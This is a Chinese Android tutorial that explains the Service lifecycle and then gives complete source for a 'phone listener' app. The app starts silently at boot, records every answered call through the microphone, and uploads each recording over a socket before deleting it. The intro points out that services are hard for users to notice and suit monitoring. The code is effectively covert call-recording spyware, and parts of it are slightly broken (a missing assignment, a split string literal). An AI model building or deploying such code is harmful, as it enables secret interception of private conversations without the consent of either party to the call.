Android之Service实例电话监听器

移动开发 Android
Service服务,Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,看本文介绍。

***步:继承Service类

  1. public class SMSService extends Service { } 

第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

  1. <service android:name=".SMSService" /> 

服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。

如果打算采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

如果打算采用Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onBind()方法。这个时候调用者和服务绑定在一起,调用者退出了,系统就会先调用服务的onUnbind()方法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定,可以调用unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。

服务常用生命周期回调方法如下:

onCreate() 该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService()或bindService()方法,服务也只被创建一次。

onDestroy()该方法在服务被终止时调用。

 与采用Context.startService()方法启动服务有关的生命周期方法

onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。

与采用Context.bindService()方法启动服务有关的生命周期方法

onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。

onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。

你可以使用手机进行现场录音,实现步骤如下:

***步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:

  1. <uses-permission android:name="android.permission.RECORD_AUDIO"/> 

第二步:编写音频刻录代码:

MediaRecorder recorder = new MediaRecorder();

 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音

 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式

 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式

 recorder.setOutputFile("/sdcard/itcast.amr");

 recorder.prepare();//预期准备

 recorder.start();   //开始刻录
 ...
 recorder.stop();//停止刻录

 recorder.reset();   //重设

 recorder.release(); //刻录完成一定要释放资源

#p#

AndroidManifest.xml

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"       
  3.      package="com.tjp.phonelistiner"        
  4.      android:versionCode="1"        
  5.      android:versionName="1.0">     
  6.    <uses-sdk android:minSdkVersion="7" />     
  7.    <application android:icon="@drawable/icon" android:label="@string/app_name">          
  8.      <service android:name=".PhoneListinerService"/>          
  9.       <receiver android:name=".BootBroadcastReceiver">              
  10.         <intent-filter>                  
  11.           <!-- 开机广播 -->                  
  12.         <action android:name="android.intent.action.BOOT_COMPLETED"/>              
  13.        </intent-filter>         
  14.      </receiver>     
  15.    </application>     
  16.  <!-- 访问网络的权限 -->      
  17.  <uses-permission android:name="android.permission.INTERNET"/>     
  18.  <!-- 电话状态监听权限 -->     
  19.  <uses-permission android:name="android.permission.READ_PHONE_STATE"/>      
  20.  <!-- 开机广播权限 -->      
  21.  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>      
  22.  <!-- 音频刻录权限 -->      
  23. <uses-permission android:name="android.permission.RECORD_AUDIO"/> 
  24. </manifest> 

StreamTool

  1. package com.tjp.util;  
  2. import java.io.ByteArrayOutputStream;  
  3. import java.io.File;  
  4. import java.io.FileOutputStream;  
  5. import java.io.IOException;  
  6. import java.io.InputStream;  
  7. import java.io.PushbackInputStream;  
  8. public class StreamTool {       
  9. public static void save(File file, byte[] data) throws Exception {   
  10.    FileOutputStream outStream = new FileOutputStream(file);    
  11.      outStream.write(data);    
  12.      outStream.close();   
  13.  }   
  14.   public static String readLine(PushbackInputStream in) throws IOException {   
  15.    char buf[] = new char[128];   
  16.    int room = buf.length;  
  17.    int offset = 0;   
  18.    int c;loop:    
  19.    while (true) {   
  20.      switch (c = in.read()) {    
  21.        case -1:   
  22.        case '\n':    
  23.          break loop;  
  24.       case '\r':   
  25.     int c2 = in.read();  
  26.     if ((c2 != '\n') && (c2 != -1)) in.unread(c2);  
  27.          break loop;                      
  28.  default:                          
  29.     if (--room < 0) {           
  30.     char[] lineBuffer = buf;    
  31.     buf = new char[offset + 128];   
  32.     room = buf.length - offset - 1;  
  33.     System.arraycopy(lineBuffer, 0, buf, 0, offset);                                                     
  34. }  
  35.     buf[offset++] = (char) c;   
  36.     break;  
  37.   }  
  38. }  
  39.    if ((c == -1) && (offset == 0)) return null;  
  40.    return String.copyValueOf(buf, 0, offset);  
  41. }  
  42. /**      
  43. * 读取流   
  44. * @param inStream   
  45. * @return 字节数组  
  46. * @throws Exception   
  47. */      
  48. public static byte[] readStream(InputStream inStream) throws Exception{  
  49.      ByteArrayOutputStream outSteam = new ByteArrayOutputStream();   
  50.      byte[] buffer = new byte[1024];   
  51.      int len = -1;  
  52.      while( (len=inStream.read(buffer)) != -1){    
  53.      outSteam.write(buffer, 0, len);  
  54. }   
  55.      outSteam.close();   
  56.      inStream.close();  
  57.      return outSteam.toByteArray();  
  58. }  

#p#

PhoneListinerService

  1. package com.tjp.phonelistiner;  
  2. import java.io.File;  
  3. import java.io.OutputStream;  
  4. import java.io.PushbackInputStream;  
  5. import java.io.RandomAccessFile;  
  6. import java.net.Socket;  
  7. import android.app.Service;  
  8. import android.content.Context;  
  9. import android.content.Intent;  
  10. import android.media.MediaRecorder;  
  11. import android.os.IBinder;  
  12. import android.telephony.PhoneStateListener;  
  13. import android.telephony.TelephonyManager;  
  14. import android.util.Log;  
  15. import com.tjp.util.StreamTool;  
  16. public class PhoneListinerService extends Service {      
  17.    private final String TAG="PhoneListinerService";       
  18.    @Override      
  19.    public IBinder onBind(Intent intent) {                  
  20.     return null;      
  21.  }      
  22.    @Override     
  23.    public void onCreate() {          
  24.        TelephonyManager telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//获得电话服务          
  25.        telephonyManager.listen(new TeleListine(), PhoneStateListener.LISTEN_CALL_STATE);//对来电状态进行监听          
  26.        Log.i(TAG, "onCreate");          
  27.        super.onCreate();      
  28. }          
  29.  private class TeleListine extends PhoneStateListener{          
  30.  private String mobile;//来电号码          
  31.  private MediaRecorder recorder;//多媒体刻录文件          
  32.  private File autoFile;//保存文件          
  33.  private boolean recoder;//是否刻录          
  34.   @Override          
  35.   public void onCallStateChanged(int state, String incomingNumber) {              
  36.  try {                  
  37.    switch (state) {                  
  38.      case TelephonyManager.CALL_STATE_IDLE://无任何状态时--挂断电话时                      
  39.      if(recoder){                         
  40.        recorder.stop();//停止刻录                          
  41.        recorder.release();//释放刻录                          
  42.        recoder=false;                          
  43.        new Thread(new UploadTask()).start();                          
  44.        Log.i(TAG, "开始上传");                      
  45.  }                      
  46. break;                  
  47.   case TelephonyManager.CALL_STATE_OFFHOOK://接起电话时                      
  48.   recorder = new MediaRecorder();                      
  49.   recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音                     
  50.   recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式                     
  51.   recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式                                          
  52.   autoFile=new File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//输出到缓存                      
  53.   recorder.setOutputFile(autoFile.getAbsolutePath());//输出的位置                      
  54.   recorder.prepare();//预期准备                      
  55.   recorder.start();   //开始刻录                      
  56.   recoder=true;                      
  57.   Log.i(TAG, "接起电话");                      
  58. break;                  
  59.    case TelephonyManager.CALL_STATE_RINGING://电话进来时                      
  60. mobile=incomingNumber;                     
  61.    Log.i(TAG, "mobile="+mobile);                     
  62.  break;                  
  63.    default:                      
  64. break;                  
  65. }              
  66. } catch (Exception e) {                 
  67.       Log.i(TAG,e.toString());                 
  68.       e.printStackTrace();             
  69.  }             
  70.     super.onCallStateChanged(state, incomingNumber);         
  71.  }                  
  72. private final class UploadTask implements Runnable{             
  73.  @Override              
  74. public void run() {                  
  75.    try {   
  76.         //Socket socket = new Socket("127.0.0.1", 7878);                          
  77.        Socket socket = new Socket("127.0.0.1", 7878);                          
  78.        OutputStream outStream = socket.getOutputStream();                                      
  79.        String head = "Content-Length="+ autoFile.length() + ";filename="+ autoFile + ";  
  80.        sourceid=1278916111468\r\n";                                   
  81.        outStream.write(head.getBytes());                                                  
  82.        PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());                              
  83.        String response = StreamTool.readLine(inStream);                          
  84.        System.out.println(response);                          
  85.        String[] items = response.split(";");                          
  86.        String position = items[1].substring(items[1].indexOf("=")+1);                                                 
  87.        RandomAccessFile fileOutStream = new RandomAccessFile(autoFile, "r");                          
  88.        fileOutStream.seek(Integer.valueOf(position));                          
  89.        byte[] buffer = new byte[1024];                          
  90.        int len = -1;                          
  91.        int i = 0;                         
  92.        while( (len = fileOutStream.read(buffer)) != -1){                              
  93.     outStream.write(buffer, 0, len);                              
  94.      i++;  
  95.       //if(i==10) break;                          
  96. }                          
  97.     fileOutStream.close();                          
  98.     outStream.close();                          
  99.     inStream.close();                         
  100.     socket.close();                          
  101.     autoFile.delete();//当上传完就删除文件                     
  102.  } catch (Exception e) {                            
  103.         Log.i(TAG, "mobile="+mobile);                         
  104.         e.printStackTrace();                      
  105.       }              
  106.    }                     
  107.  }      
  108. }     
  109.  @Override     
  110. public void onDestroy() {//清空缓存目录下的所有文件          
  111.    File[] filesgetCacheDir().listFiles();//得到缓存下所有文件          
  112.      if(files!=null){              
  113.        for(File file : files){                  
  114.         file.delete();             
  115.       }         
  116.     }         
  117.    Log.i(TAG, "onDestroy");         
  118.    super.onDestroy();     
  119.   }         

BootBroadcastReceiver

  1. package com.tjp.phonelistiner;    
  2. import android.content.BroadcastReceiver;    
  3. import android.content.Context;    
  4. import android.content.Intent;    
  5. public class BootBroadcastReceiver extends BroadcastReceiver {       
  6.  @Override        
  7. public void onReceive(Context context, Intent intent) {            
  8. Intent service=new Intent(context,PhoneListinerService.class);//显示意图    
  9. context.startService(service);       
  10.  }  
  11. }    

【编辑推荐】

Android要深入研究Service

浅述远程Service Broker的实现

Android开发之旅:Android架构

Android应用程序开发环境的搭建

责任编辑:zhaolei 来源: 互联网
相关推荐

2011-03-21 16:21:49

Oracle监听口令监听器

2009-07-08 17:39:23

Servlet监听器

2009-09-27 17:46:22

Hibernate监听

2011-05-16 10:14:11

Hibernate

2023-01-06 08:55:00

2010-02-22 15:06:31

WCF信道监听器

2009-11-09 10:03:09

WCF通道监听器

2010-04-23 18:00:31

2009-07-06 13:48:53

Servlet监听器

2009-01-03 13:37:26

Oracle监听器Oracle服务器Oracle网络配置

2010-01-13 09:49:09

注释监听器Listener

2009-11-18 18:28:27

Oracle监听器

2012-02-03 13:27:16

2010-04-19 15:38:10

2010-08-09 11:06:01

Flex事件机制

2010-04-23 10:13:18

Oracle监听

2020-04-20 11:09:49

过滤器监听器 Web

2014-07-14 13:03:26

2020-12-15 10:46:29

事件监听器Spring Boot

2009-06-22 09:23:18

事件监听器
点赞
收藏

51CTO技术栈公众号